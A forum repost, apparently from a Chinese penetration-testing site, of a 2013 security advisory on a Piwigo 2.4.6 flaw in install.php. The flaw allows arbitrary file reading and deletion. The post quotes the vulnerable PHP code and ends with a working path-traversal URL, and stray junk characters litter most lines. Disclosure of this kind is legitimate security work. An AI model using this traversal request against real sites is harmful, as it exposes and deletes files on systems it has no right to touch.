中国网络渗透测试联盟

标题: Piwigo任意文件泄露和任意文件删除漏洞 [打印本页]

作者: admin    时间: 2013-3-14 20:15
标题: Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
: u$ U( H) N7 x1 G+ Y
/ ~" U' U! @" g- G0 z/ N5 P+ |Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
% {+ e2 D/ A# `5 F- {7 b====================================================================* P, B* C/ N' \: l
/install.php:. j7 j; ]: L! h( Z$ D4 ]
-------------9 P0 d( n8 P" `. Q" w
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))/ k1 t  e. z6 M# ]* \0 ]
114: {
$ Y6 }  g' A) V" ?7 T. ^115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];6 ^) c" E  u6 L/ ~$ R, A& C
116:   header('Cache-Control: no-cache, must-revalidate');& O' f! g6 W0 d& e4 g5 a( M7 f
117:   header('Pragma: no-cache');
) s/ B7 _1 x+ [, ]  D, m118:   header('Content-Disposition: attachment; filename="database.inc.php"');
3 U, ]1 L2 P; @% ~119:   header('Content-Transfer-Encoding: binary');1 O* q2 \( g2 Z9 k1 c
120:   header('Content-Length: '.filesize($filename));; ]( x" e' @' _/ G* @. c( h4 Q
121:   echo file_get_contents($filename);* [. q8 c1 U# F- b
122:   unlink($filename);
7 x: a/ C+ Q) t" R0 P123:   exit();
6 u" o; x0 k& }2 A! I, S124: }
3 y2 ]- o! N% B! L( w( h2 T====================================================================' B+ B& S- J. a

1 I9 l2 _( t& ]% H3 [- J; MTested on: Microsoft Windows 7 Ultimate SP1 (EN)
$ Z8 m7 U3 z+ ^3 T, V7 R           Apache 2.4.2 (Win32)
! C6 U4 P7 R! J1 x1 `           PHP 5.4.4
5 h/ R1 Y  }$ B5 z! p( `4 r5 V           MySQL 5.5.25a
9 [! S- c" ~5 P4 {) ]0 j9 c; w7 N
2 f2 l! R+ D3 M& L$ tVulnerability discovered by Gjoko 'LiquidWorm' Krstic2 d1 v- T7 `( r+ Y* C% U9 w
                            @zeroscience8 s! S) D+ p9 u$ c

6 s, A4 s4 g: q( }& VAdvisory ID: ZSL-2013-5127# \  I  c- r- f: K* w+ B
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
3 F" G+ J& j/ Y$ }+ wVendor Patch: http://piwigo.org/bugs/view.php?id=28435 W) J& @8 g, ~% E
/ @+ H; z1 u! }$ H* P/ k
15.02.2013
  N! v3 u6 N; O% P1 @5 e $ H+ {( e# v. a2 M8 W
--2 c% R; [6 L' S- k( T* h  ~& l
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
, B. y9 F$ Z9 v9 v / Z" o( F8 [% ^1 z" i





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2